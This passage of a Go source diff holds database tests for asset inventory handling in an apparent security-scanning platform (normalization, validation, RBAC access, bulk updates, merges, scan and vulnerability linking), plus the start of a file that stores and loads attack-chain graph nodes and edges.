t.Fatalf("URL asset was not created: result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
if asset.Domain != "xn--fsqu00a.xn--0zwm56d" || asset.Protocol != "https" || asset.Port != 443 {
|
||||||
|
t.Fatalf("URL fields were not normalized: %#v", asset)
|
||||||
|
}
|
||||||
|
if len(asset.Tags) != 1 || asset.Tags[0] != "prod" {
|
||||||
|
t.Fatalf("tags were not normalized: %#v", asset.Tags)
|
||||||
|
}
|
||||||
|
|
||||||
|
invalid := []*Asset{
|
||||||
|
{IP: "999.1.1.1", Status: "active"},
|
||||||
|
{Domain: "bad_domain.example", Status: "active"},
|
||||||
|
{Domain: "example.com", Port: 70000, Status: "active"},
|
||||||
|
{Domain: "example.com", Protocol: "HTTP 1.1", Status: "active"},
|
||||||
|
{Domain: "example.com", Status: "deleted"},
|
||||||
|
}
|
||||||
|
for _, candidate := range invalid {
|
||||||
|
if _, err := db.UpsertAssets([]*Asset{candidate}, ""); err == nil {
|
||||||
|
t.Fatalf("invalid asset unexpectedly accepted: %#v", candidate)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, host := range []string{"123", "not a formal target", "https://", "https://user:password@example.com"} {
|
||||||
|
result, err := db.UpsertAssets([]*Asset{{Host: host}}, "")
|
||||||
|
if err != nil || result.Created != 1 {
|
||||||
|
t.Fatalf("opaque asset address %q was not accepted: result=%#v err=%v", host, result, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAssetValidationRejectsOversizedTags(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "asset-tag-validation.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
_, err = db.UpsertAssets([]*Asset{{Domain: "example.com", Tags: []string{strings.Repeat("x", 65)}}}, "")
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "标签") {
|
||||||
|
t.Fatalf("expected tag validation error, got %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFofaAssetIgnoresInvalidOptionalStructuredFields(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "fofa-asset-validation.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
asset := &Asset{
|
||||||
|
Host: "https://203.0.113.59:8443",
|
||||||
|
IP: "203.0.113.59",
|
||||||
|
Domain: "provider_specific_invalid_domain_59",
|
||||||
|
Port: 8443,
|
||||||
|
Protocol: "https",
|
||||||
|
Source: "fofa",
|
||||||
|
}
|
||||||
|
result, err := db.UpsertAssets([]*Asset{asset}, "")
|
||||||
|
if err != nil || result.Created != 1 {
|
||||||
|
t.Fatalf("FOFA asset with dirty optional domain was not created: result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
if asset.Domain != "" || asset.IP != "203.0.113.59" {
|
||||||
|
t.Fatalf("FOFA structured fields were not sanitized: %#v", asset)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAssetUpsertDeduplicatesAndUpdates(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "assets.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
first := &Asset{Host: "https://example.com", Domain: "Example.COM", Port: 443, Protocol: "HTTPS", Title: "Old", Source: "fofa"}
|
||||||
|
result, err := db.UpsertAssets([]*Asset{first}, "user-a")
|
||||||
|
if err != nil || result.Created != 1 || result.Updated != 0 {
|
||||||
|
t.Fatalf("first upsert = %#v, %v", result, err)
|
||||||
|
}
|
||||||
|
second := &Asset{Domain: "example.com", Port: 443, Protocol: "https", Title: "New", Server: "nginx", Source: "fofa"}
|
||||||
|
result, err = db.UpsertAssets([]*Asset{second}, "user-a")
|
||||||
|
if err != nil || result.Created != 0 || result.Updated != 1 {
|
||||||
|
t.Fatalf("second upsert = %#v, %v", result, err)
|
||||||
|
}
|
||||||
|
assets, total, err := db.ListAssets(20, 0, AssetListFilter{}, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || total != 1 || len(assets) != 1 {
|
||||||
|
t.Fatalf("list assets total=%d len=%d err=%v", total, len(assets), err)
|
||||||
|
}
|
||||||
|
if assets[0].Title != "New" || assets[0].Server != "nginx" || assets[0].Protocol != "https" {
|
||||||
|
t.Fatalf("asset not refreshed: %#v", assets[0])
|
||||||
|
}
|
||||||
|
stats, err := db.GetAssetStats(RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || stats["total"] != 1 {
|
||||||
|
t.Fatalf("stats=%#v err=%v", stats, err)
|
||||||
|
}
|
||||||
|
coverage, ok := stats["coverage"].(map[string]interface{})
|
||||||
|
if !ok || coverage["never_scanned"] != 1 || coverage["rate"] != 0 {
|
||||||
|
t.Fatalf("coverage=%#v", stats["coverage"])
|
||||||
|
}
|
||||||
|
assetTrend, ok := stats["asset_trend"].([]map[string]interface{})
|
||||||
|
if !ok || len(assetTrend) != 30 {
|
||||||
|
t.Fatalf("asset trend=%#v", stats["asset_trend"])
|
||||||
|
}
|
||||||
|
riskTrend, ok := stats["risk_trend"].([]map[string]interface{})
|
||||||
|
if !ok || len(riskTrend) != 30 {
|
||||||
|
t.Fatalf("risk trend=%#v", stats["risk_trend"])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAssetAccessFiltersOwners(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "assets-access.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
now := time.Now()
|
||||||
|
if _, err := db.Exec(`INSERT INTO rbac_users (id,username,display_name,password_hash,enabled,is_builtin,created_at,updated_at) VALUES ('user-a','user-a','User A','hash',1,0,?,?)`, now, now); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.UpsertAssets([]*Asset{{IP: "10.0.0.1", Port: 80, Protocol: "http"}}, "user-a"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
_, total, err := db.ListAssets(20, 0, AssetListFilter{}, RBACListAccess{UserID: "user-b", Scope: RBACScopeAssigned})
|
||||||
|
if err != nil || total != 0 {
|
||||||
|
t.Fatalf("unexpected cross-user assets: total=%d err=%v", total, err)
|
||||||
|
}
|
||||||
|
_, total, err = db.ListAssets(20, 0, AssetListFilter{}, RBACListAccess{UserID: "user-a", Scope: RBACScopeOwn})
|
||||||
|
if err != nil || total != 1 {
|
||||||
|
t.Fatalf("owner cannot list asset: total=%d err=%v", total, err)
|
||||||
|
}
|
||||||
|
assets, _, err := db.ListAssets(1, 0, AssetListFilter{}, RBACListAccess{UserID: "user-a", Scope: RBACScopeAssigned})
|
||||||
|
if err != nil || len(assets) != 1 || !db.UserCanAccessResource("user-a", RBACScopeAssigned, "asset", assets[0].ID) {
|
||||||
|
t.Fatalf("creator assignment missing: assets=%d err=%v", len(assets), err)
|
||||||
|
}
|
||||||
|
options, err := db.ListAssignableRBACResources("asset", "10.0.0.1", 10)
|
||||||
|
if err != nil || len(options) != 1 {
|
||||||
|
t.Fatalf("asset resource picker: options=%#v err=%v", options, err)
|
||||||
|
}
|
||||||
|
project, err := db.CreateProject(&Project{Name: "Alpha", Status: "active"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.SetResourceOwner("project", project.ID, "user-b"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
asset := assets[0]
|
||||||
|
asset.ProjectID = project.ID
|
||||||
|
if err := db.UpdateAsset(asset.ID, asset, RBACListAccess{Scope: RBACScopeAll}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
projectAssets, total, err := db.ListAssets(20, 0, AssetListFilter{ProjectID: project.ID}, RBACListAccess{UserID: "user-b", Scope: RBACScopeOwn})
|
||||||
|
if err != nil || total != 1 || len(projectAssets) != 1 || projectAssets[0].ProjectName != "Alpha" {
|
||||||
|
t.Fatalf("project-bound asset access failed: total=%d assets=%#v err=%v", total, projectAssets, err)
|
||||||
|
}
|
||||||
|
if !db.UserCanAccessResource("user-b", RBACScopeOwn, "asset", asset.ID) {
|
||||||
|
t.Fatal("project owner cannot access bound asset")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestUpdateAssetsProjectIsAtomicAndScoped(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "asset-batch-project.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
project, err := db.CreateProject(&Project{Name: "Batch Project", Status: "active"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.UpsertAssets([]*Asset{
|
||||||
|
{IP: "192.0.2.1", Port: 80, Protocol: "http"},
|
||||||
|
{IP: "192.0.2.2", Port: 443, Protocol: "https"},
|
||||||
|
}, "owner-a"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
assets, _, err := db.ListAssets(10, 0, AssetListFilter{}, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || len(assets) != 2 {
|
||||||
|
t.Fatalf("list assets: len=%d err=%v", len(assets), err)
|
||||||
|
}
|
||||||
|
ids := []string{assets[0].ID, assets[1].ID}
|
||||||
|
updated, err := db.UpdateAssetsProject(ids, project.ID, RBACListAccess{UserID: "owner-a", Scope: RBACScopeOwn})
|
||||||
|
if err != nil || updated != 2 {
|
||||||
|
t.Fatalf("batch bind: updated=%d err=%v", updated, err)
|
||||||
|
}
|
||||||
|
for _, id := range ids {
|
||||||
|
asset, err := db.GetAsset(id, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || asset.ProjectID != project.ID {
|
||||||
|
t.Fatalf("asset %s was not bound: asset=%#v err=%v", id, asset, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := db.UpdateAssetsProject([]string{ids[0], "missing"}, "", RBACListAccess{Scope: RBACScopeAll}); err == nil {
|
||||||
|
t.Fatal("partial batch update unexpectedly succeeded")
|
||||||
|
}
|
||||||
|
asset, err := db.GetAsset(ids[0], RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || asset.ProjectID != project.ID {
|
||||||
|
t.Fatalf("failed batch changed an asset: asset=%#v err=%v", asset, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
updated, err = db.UpdateAssetsProject(ids, "", RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || updated != 2 {
|
||||||
|
t.Fatalf("batch unbind: updated=%d err=%v", updated, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAssetAdvancedFiltersAndBulkMetadata(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "asset-advanced.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
project, err := db.CreateProject(&Project{Name: "Production", Status: "active"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
input := []*Asset{
|
||||||
|
{ProjectID: project.ID, Domain: "critical.example.com", Port: 443, Protocol: "https", Country: "CN", ResponsiblePerson: "Alice", Department: "Security", BusinessSystem: "Portal", Environment: "production", Criticality: "critical", Tags: []string{"internet"}},
|
||||||
|
{ProjectID: project.ID, Domain: "dev.example.com", Port: 8080, Protocol: "http", Country: "US", Environment: "development", Criticality: "low"},
|
||||||
|
}
|
||||||
|
if result, err := db.UpsertAssets(input, "", true); err != nil || result.Created != 2 {
|
||||||
|
t.Fatalf("create assets: result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
conversation, err := db.CreateConversation("critical scan", ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.MarkAssetScanned(input[0].ID, conversation.ID, "", "", RBACListAccess{Scope: RBACScopeAll}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.CreateVulnerability(&Vulnerability{ConversationID: conversation.ID, Title: "critical finding", Severity: "critical", Target: input[0].Domain}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
minVulns := 1
|
||||||
|
items, total, err := db.ListAssets(20, 0, AssetListFilter{
|
||||||
|
Status: "active", RiskLevel: "critical", MinVulnerabilities: &minVulns,
|
||||||
|
Country: "cn", Environment: "production", Criticality: "critical",
|
||||||
|
SortBy: "vulnerability_count", SortOrder: "desc",
|
||||||
|
}, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || total != 1 || len(items) != 1 {
|
||||||
|
t.Fatalf("advanced query: total=%d items=%#v err=%v", total, items, err)
|
||||||
|
}
|
||||||
|
if items[0].ResponsiblePerson != "Alice" || items[0].BusinessSystem != "Portal" || items[0].VulnerabilityCount != 1 {
|
||||||
|
t.Fatalf("metadata did not round-trip: %#v", items[0])
|
||||||
|
}
|
||||||
|
|
||||||
|
status := "inactive"
|
||||||
|
owner := "Bob"
|
||||||
|
environment := "staging"
|
||||||
|
updated, err := db.UpdateAssetsBulk([]string{input[0].ID, input[1].ID}, AssetBulkPatch{
|
||||||
|
Status: &status, ResponsiblePerson: &owner, Environment: &environment,
|
||||||
|
AddTags: []string{"review"}, RemoveTags: []string{"internet"},
|
||||||
|
}, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || updated != 2 {
|
||||||
|
t.Fatalf("bulk update: updated=%d err=%v", updated, err)
|
||||||
|
}
|
||||||
|
for _, id := range []string{input[0].ID, input[1].ID} {
|
||||||
|
item, err := db.GetAsset(id, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if item.Status != "inactive" || item.ResponsiblePerson != "Bob" || item.Environment != "staging" || len(item.Tags) != 1 || item.Tags[0] != "review" {
|
||||||
|
t.Fatalf("unexpected bulk metadata: %#v", item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestListAssetsForOperationAndBatchDelete(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "asset-selection.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
for i := 1; i <= 3; i++ {
|
||||||
|
if _, err := db.UpsertAssets([]*Asset{{IP: "198.51.100." + strconv.Itoa(i), Port: 443, Protocol: "https", Tags: []string{"selected"}}}, "", true); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
items, total, err := db.ListAssetsForOperation(10, AssetListFilter{Tag: "selected"}, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || total != 3 || len(items) != 3 {
|
||||||
|
t.Fatalf("selection: total=%d len=%d err=%v", total, len(items), err)
|
||||||
|
}
|
||||||
|
ids := make([]string, 0, len(items))
|
||||||
|
for _, item := range items {
|
||||||
|
ids = append(ids, item.ID)
|
||||||
|
}
|
||||||
|
deleted, err := db.DeleteAssets(ids, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || deleted != 3 {
|
||||||
|
t.Fatalf("batch delete: deleted=%d err=%v", deleted, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMergeAssetsIsAtomic(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "asset-merge.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
input := []*Asset{
|
||||||
|
{Domain: "merge.example.com", Port: 80, Protocol: "http", Title: "Primary", Tags: []string{"one"}},
|
||||||
|
{Domain: "merge.example.com", Port: 443, Protocol: "https", ResponsiblePerson: "Alice", Tags: []string{"two"}},
|
||||||
|
}
|
||||||
|
if _, err := db.UpsertAssets(input, "", true); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
primary, err := db.GetAsset(input[0].ID, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
primary.ResponsiblePerson = "Alice"
|
||||||
|
primary.Tags = []string{"one", "two"}
|
||||||
|
merged, err := db.MergeAssets(primary, []string{input[1].ID}, RBACListAccess{Scope: RBACScopeAll}, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || merged != 1 {
|
||||||
|
t.Fatalf("merge: merged=%d err=%v", merged, err)
|
||||||
|
}
|
||||||
|
items, total, err := db.ListAssets(10, 0, AssetListFilter{}, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || total != 1 || len(items) != 1 || items[0].ResponsiblePerson != "Alice" || len(items[0].Tags) != 2 {
|
||||||
|
t.Fatalf("unexpected merged asset: total=%d items=%#v err=%v", total, items, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
before := items[0].Title
|
||||||
|
items[0].Title = "Must roll back"
|
||||||
|
if _, err := db.MergeAssets(items[0], []string{"missing"}, RBACListAccess{Scope: RBACScopeAll}, RBACListAccess{Scope: RBACScopeAll}); err == nil {
|
||||||
|
t.Fatal("merge with missing duplicate unexpectedly succeeded")
|
||||||
|
}
|
||||||
|
after, err := db.GetAsset(items[0].ID, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || after.Title != before {
|
||||||
|
t.Fatalf("failed merge was not atomic: asset=%#v err=%v", after, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAssetScanLinkReturnsTimeAndRelatedVulnerabilities(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "asset-scan.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
if _, err := db.UpsertAssets([]*Asset{{IP: "192.0.2.10", Port: 443, Protocol: "https"}}, ""); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
assets, _, err := db.ListAssets(10, 0, AssetListFilter{}, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil || len(assets) != 1 {
|
||||||
|
t.Fatalf("list assets: len=%d err=%v", len(assets), err)
|
||||||
|
}
|
||||||
|
conv, err := db.CreateConversation("asset scan", ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.MarkAssetScanned(assets[0].ID, conv.ID, "", "", RBACListAccess{Scope: RBACScopeAll}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.CreateVulnerability(&Vulnerability{ConversationID: conv.ID, Title: "finding", Severity: "high", Target: "192.0.2.10"}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
linked, err := db.GetAsset(assets[0].ID, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if linked.LastScanAt == nil || linked.LastScanConversationID != conv.ID || linked.VulnerabilityCount != 1 || linked.RiskLevel != "high" {
|
||||||
|
t.Fatalf("unexpected scan metadata: %#v", linked)
|
||||||
|
}
|
||||||
|
vulns, err := db.ListVulnerabilities(10, 0, VulnerabilityListFilter{ConversationID: conv.ID})
|
||||||
|
if err != nil || len(vulns) != 1 {
|
||||||
|
t.Fatalf("list linked vulnerabilities: len=%d err=%v", len(vulns), err)
|
||||||
|
}
|
||||||
|
vulns[0].Status = "fixed"
|
||||||
|
if err := db.UpdateVulnerability(vulns[0].ID, vulns[0]); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
resolved, err := db.GetAsset(assets[0].ID, RBACListAccess{Scope: RBACScopeAll})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if resolved.VulnerabilityCount != 1 || resolved.RiskLevel != "normal" {
|
||||||
|
t.Fatalf("resolved finding should remain in history without raising current risk: %#v", resolved)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAssetListFlexibleFiltersAndOldestScanPagination(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "asset-query.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
assets := []*Asset{
|
||||||
|
{IP: "192.0.2.1", Port: 443, Protocol: "https", Source: "fofa", Tags: []string{"prod"}},
|
||||||
|
{IP: "192.0.2.2", Port: 80, Protocol: "http", Source: "manual", Tags: []string{"prod", "legacy"}},
|
||||||
|
{Domain: "never.example.com", Port: 443, Protocol: "https", Source: "manual", Tags: []string{"prod"}},
|
||||||
|
}
|
||||||
|
if _, err := db.UpsertAssets(assets, ""); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
old := time.Now().Add(-90 * 24 * time.Hour).UTC()
|
||||||
|
recent := time.Now().Add(-24 * time.Hour).UTC()
|
||||||
|
if _, err := db.Exec(`UPDATE assets SET last_scan_at=? WHERE id=?`, old, assets[0].ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(`UPDATE assets SET last_scan_at=? WHERE id=?`, recent, assets[1].ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
access := RBACListAccess{Scope: RBACScopeAll}
|
||||||
|
firstPage, total, err := db.ListAssets(2, 0, AssetListFilter{Tag: "prod", SortBy: "last_scan_at", SortOrder: "asc"}, access)
|
||||||
|
if err != nil || total != 3 || len(firstPage) != 2 {
|
||||||
|
t.Fatalf("oldest scan page: total=%d len=%d err=%v", total, len(firstPage), err)
|
||||||
|
}
|
||||||
|
if firstPage[0].ID != assets[2].ID || firstPage[0].LastScanAt != nil || firstPage[1].ID != assets[0].ID {
|
||||||
|
t.Fatalf("expected never-scanned then oldest scanned asset, got %#v", firstPage)
|
||||||
|
}
|
||||||
|
secondPage, _, err := db.ListAssets(2, 2, AssetListFilter{Tag: "prod", SortBy: "last_scan_at", SortOrder: "asc"}, access)
|
||||||
|
if err != nil || len(secondPage) != 1 || secondPage[0].ID != assets[1].ID {
|
||||||
|
t.Fatalf("unexpected second page: %#v err=%v", secondPage, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
never, total, err := db.ListAssets(20, 0, AssetListFilter{ScanState: "never"}, access)
|
||||||
|
if err != nil || total != 1 || len(never) != 1 || never[0].ID != assets[2].ID {
|
||||||
|
t.Fatalf("never-scanned filter: total=%d assets=%#v err=%v", total, never, err)
|
||||||
|
}
|
||||||
|
port := 443
|
||||||
|
filtered, total, err := db.ListAssets(20, 0, AssetListFilter{Source: "fofa", Port: &port, LastScanBefore: &recent}, access)
|
||||||
|
if err != nil || total != 1 || len(filtered) != 1 || filtered[0].ID != assets[0].ID {
|
||||||
|
t.Fatalf("structured filters: total=%d assets=%#v err=%v", total, filtered, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,167 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// AttackChainNode 攻击链节点
|
||||||
|
type AttackChainNode struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Type string `json:"type"` // tool, vulnerability, target, exploit
|
||||||
|
Label string `json:"label"`
|
||||||
|
ToolExecutionID string `json:"tool_execution_id,omitempty"`
|
||||||
|
Metadata map[string]interface{} `json:"metadata"`
|
||||||
|
RiskScore int `json:"risk_score"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// AttackChainEdge 攻击链边
|
||||||
|
type AttackChainEdge struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Source string `json:"source"`
|
||||||
|
Target string `json:"target"`
|
||||||
|
Type string `json:"type"` // leads_to, exploits, enables, depends_on
|
||||||
|
Weight int `json:"weight"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// SaveAttackChainNode 保存攻击链节点
|
||||||
|
func (db *DB) SaveAttackChainNode(conversationID, nodeID, nodeType, nodeName, toolExecutionID, metadata string, riskScore int) error {
|
||||||
|
var toolExecID sql.NullString
|
||||||
|
if toolExecutionID != "" {
|
||||||
|
toolExecID = sql.NullString{String: toolExecutionID, Valid: true}
|
||||||
|
}
|
||||||
|
|
||||||
|
var metadataJSON sql.NullString
|
||||||
|
if metadata != "" {
|
||||||
|
metadataJSON = sql.NullString{String: metadata, Valid: true}
|
||||||
|
}
|
||||||
|
|
||||||
|
query := `
|
||||||
|
INSERT OR REPLACE INTO attack_chain_nodes
|
||||||
|
(id, conversation_id, node_type, node_name, tool_execution_id, metadata, risk_score, created_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, CURRENT_TIMESTAMP)
|
||||||
|
`
|
||||||
|
|
||||||
|
_, err := db.Exec(query, nodeID, conversationID, nodeType, nodeName, toolExecID, metadataJSON, riskScore)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("保存攻击链节点失败", zap.Error(err), zap.String("nodeId", nodeID))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// SaveAttackChainEdge 保存攻击链边
|
||||||
|
func (db *DB) SaveAttackChainEdge(conversationID, edgeID, sourceNodeID, targetNodeID, edgeType string, weight int) error {
|
||||||
|
query := `
|
||||||
|
INSERT OR REPLACE INTO attack_chain_edges
|
||||||
|
(id, conversation_id, source_node_id, target_node_id, edge_type, weight, created_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, CURRENT_TIMESTAMP)
|
||||||
|
`
|
||||||
|
|
||||||
|
_, err := db.Exec(query, edgeID, conversationID, sourceNodeID, targetNodeID, edgeType, weight)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("保存攻击链边失败", zap.Error(err), zap.String("edgeId", edgeID))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoadAttackChainNodes 加载攻击链节点
|
||||||
|
func (db *DB) LoadAttackChainNodes(conversationID string) ([]AttackChainNode, error) {
|
||||||
|
query := `
|
||||||
|
SELECT id, node_type, node_name, tool_execution_id, metadata, risk_score
|
||||||
|
FROM attack_chain_nodes
|
||||||
|
WHERE conversation_id = ?
|
||||||
|
ORDER BY created_at ASC, rowid ASC
|
||||||
|
`
|
||||||
|
|
||||||
|
rows, err := db.Query(query, conversationID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询攻击链节点失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var nodes []AttackChainNode
|
||||||
|
for rows.Next() {
|
||||||
|
var node AttackChainNode
|
||||||
|
var toolExecID sql.NullString
|
||||||
|
var metadataJSON sql.NullString
|
||||||
|
|
||||||
|
err := rows.Scan(&node.ID, &node.Type, &node.Label, &toolExecID, &metadataJSON, &node.RiskScore)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Warn("扫描攻击链节点失败", zap.Error(err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if toolExecID.Valid {
|
||||||
|
node.ToolExecutionID = toolExecID.String
|
||||||
|
}
|
||||||
|
|
||||||
|
if metadataJSON.Valid && metadataJSON.String != "" {
|
||||||
|
if err := json.Unmarshal([]byte(metadataJSON.String), &node.Metadata); err != nil {
|
||||||
|
db.logger.Warn("解析节点元数据失败", zap.Error(err))
|
||||||
|
node.Metadata = make(map[string]interface{})
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
node.Metadata = make(map[string]interface{})
|
||||||
|
}
|
||||||
|
|
||||||
|
nodes = append(nodes, node)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nodes, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoadAttackChainEdges 加载攻击链边
|
||||||
|
func (db *DB) LoadAttackChainEdges(conversationID string) ([]AttackChainEdge, error) {
|
||||||
|
query := `
|
||||||
|
SELECT id, source_node_id, target_node_id, edge_type, weight
|
||||||
|
FROM attack_chain_edges
|
||||||
|
WHERE conversation_id = ?
|
||||||
|
ORDER BY created_at ASC, rowid ASC
|
||||||
|
`
|
||||||
|
|
||||||
|
rows, err := db.Query(query, conversationID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询攻击链边失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var edges []AttackChainEdge
|
||||||
|
for rows.Next() {
|
||||||
|
var edge AttackChainEdge
|
||||||
